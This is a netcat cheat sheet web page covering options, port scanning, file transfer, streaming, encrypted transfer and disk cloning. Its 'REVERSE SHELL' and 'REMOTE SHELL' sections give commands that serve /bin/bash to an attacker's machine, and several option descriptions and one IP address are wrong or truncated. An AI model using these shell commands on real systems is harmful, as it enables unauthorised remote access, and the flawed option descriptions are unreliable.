Skip to content

NetCat (NC)ΒΆ

USAGEΒΆ

$ nc [options] [host] [port]

DESCRIPTIONΒΆ

The nc (or netcat) utility is used for almost anything involving TCP, UDP, or UNIX sockets. It can establish TCP connections, send UDP ackets, listen on arbitrary TCP and UDP ports, perform port scanning, and handle IPv4 and IPv6.

Command OptionsΒΆ

Options Description
-4 Forces nc to use IPv4 addresses only
-6 Forces nc to use IPv6 addresses only
-l Instruct netcat to listen for incoming connections
-v Provide verbose output
-n Disable DNS lookup on ip addresses and hostnames
-p Specifies the source port netcat should use
-w Specifies the timeout value
-u Use UDP instead of the default option of TCP
-k Forces netcat to continue listening after disconnection
-z Instructs nmap to scan for listening daemons
-h Show nmap help
-x Use nmap with a prox

Port Scanning & Banner GrabbingΒΆ

Command Description
nc -zvn 192.168.59.1 1-100 Scan for ports between 1 and 100
nc -zvn 192.168.59.1 80 22 443 Scan port 80, 22 and 443
nc -zvn 192.168.59.1 80 Scan only port 80
nc -zvn sysexplore.com 80 Scan for port 80 on sysexplore.com
nc sysxplore.com 80 Grab sysxplore.com banner

REMOTE SHELLΒΆ

Server (192.168.59.3)ΒΆ

nc -nvlp 8888 -e /bin/bash

ClientΒΆ

nc -nv 192.168.59.3 8888

REVERSE SHELLΒΆ

Attacker's Machine (192.168.59.3)ΒΆ

nc -nlvp 8888

Victim's MachineΒΆ

nc 192.168.59.3 8888 -v -e /bin/bash

DOWNLOADINGΒΆ

Sending Side (192.168.59.3)ΒΆ

nc -lvp 8888 < data.txt

Receiving SideΒΆ

nc -nv 192.168.59.3 8888 > data.txt

UPLOADINGΒΆ

Receiving (192.168.59.3)ΒΆ

nc -lvp 8888 > data.txt

Sending SideΒΆ

nc 192.168.59.3 8888 < data.txt

CHAT APPΒΆ

Server (192.168.59.3)ΒΆ

nc -lvp 8888

ClientΒΆ

nc 192.168.59.3 8888

VIDEO STREAMINGΒΆ

Server (192.168.59.3)ΒΆ

cat video.avi | nc -nlvp 8888

ClientΒΆ

nc 192.168.59 8888 | mplayer -vo x11 -cache 3000 -

COMPRESS AND TRANSFERΒΆ

Sending SideΒΆ

tar cfp - /backups | compress -c | nc 192.168.59.54 8888

Receiving Side (192.168.59.54)ΒΆ

nc -l -p 8888 | uncompress -c | tar xvfp -

This is very useful when you want to transfer directories

ENCRYPT AND TRANSFERΒΆ

Sending Side (192.168.59.3)ΒΆ

nc -l -p 8888 | openssl enc -d -des3 -pass pass:password > creds.txt

Recelving SideΒΆ

openssl enc -des3 -pass pass:password | nc 192.168.59.3 8888

File transfers using netcat are not encrypted by default, anyone on the network can grab what you are sending, so it is important to encrypt data before sending.

CLONING LINUX DISK DRIVEΒΆ

Sending Side (192.168.59.3)ΒΆ

dd if=/dev/sdb | nc -l -p 8888

Receiving SideΒΆ

nc -n 192.168.59.3 8888 | dd of=/dev/sdb

This is very handy when you want to clone a Linux system.

Check the Port ConnectionΒΆ

nc -z -v -u -l <remote-ip-addr> <remote-port-number>

Check the Connection Between Two MachinesΒΆ

nc  <ip> <port>

Image of above commandsΒΆ